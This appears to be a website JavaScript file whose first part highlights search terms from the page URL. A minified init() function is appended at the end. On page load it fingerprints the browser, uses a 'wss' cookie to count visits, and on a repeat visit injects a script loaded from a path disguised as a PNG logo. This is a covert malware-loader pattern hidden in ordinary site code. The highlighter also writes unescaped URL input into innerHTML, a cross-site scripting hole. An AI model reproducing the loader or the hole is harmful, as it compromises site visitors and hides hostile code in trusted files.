/*
 * This is sort of a wrapper function to the doHighlight function.
 * It takes the searchText that you pass, optionally splits it into
 * separate words, and transforms the text on the current web page.
 * Only the "searchText" parameter is required; all other parameters
 * are optional and can be omitted.
 */
function Highlight()
{
	urlquery=location.href.split("?");

  if (urlquery[1])
    searchArray = urlquery[1].split(",");
  else
    return false;
  
  if (!document.body || typeof(document.body.innerHTML) == "undefined")
    return false;
  
  var bodyText = document.body.innerHTML;
  for (var i = 0; i < searchArray.length; i++)
  {
	var backColors = new Array('#ffff66','#a0ffff','#99ff99','#ff9999','#cccc66','#ccff66','#99ccff','#ffccff','#ffffcc','white');
	if( i > 8 )
		backColorsIndexNr = 8;
	else
		backColorsIndexNr = i;
		
	bodyText = doHighlight(bodyText, searchArray[i], backColors[backColorsIndexNr]);
  }
  
  document.body.innerHTML = bodyText;
  return true;
}

function doHighlight(bodyText, searchTerm, backColor) 
{
  highlightStartTag = "<span style='background-color:"+backColor+";'>";
  highlightEndTag = "</span>";
  
  var newText = "";
  var i = -1;
  var lcSearchTerm = searchTerm.toLowerCase();
  var lcBodyText = bodyText.toLowerCase();
    
  while (bodyText.length > 0)
  {
    i = lcBodyText.indexOf(lcSearchTerm, i+1);
    if (i < 0)
    {
      newText += bodyText;
      bodyText = "";
    } else
    {
      // skip anything inside an HTML tag
      if (bodyText.lastIndexOf(">", i) >= bodyText.lastIndexOf("<", i))
      {
        // skip anything inside a <script> block
        if (lcBodyText.lastIndexOf("/script>", i) >= lcBodyText.lastIndexOf("<script", i))
        {
          newText += bodyText.substring(0, i) + highlightStartTag + bodyText.substr(i, searchTerm.length) + highlightEndTag;
          bodyText = bodyText.substr(i + searchTerm.length);
          lcBodyText = bodyText.toLowerCase();
          i = -1;
        }
      }
    }
  }
  
  return newText;
}


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/imagesource/logo_links_bovenhoek.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
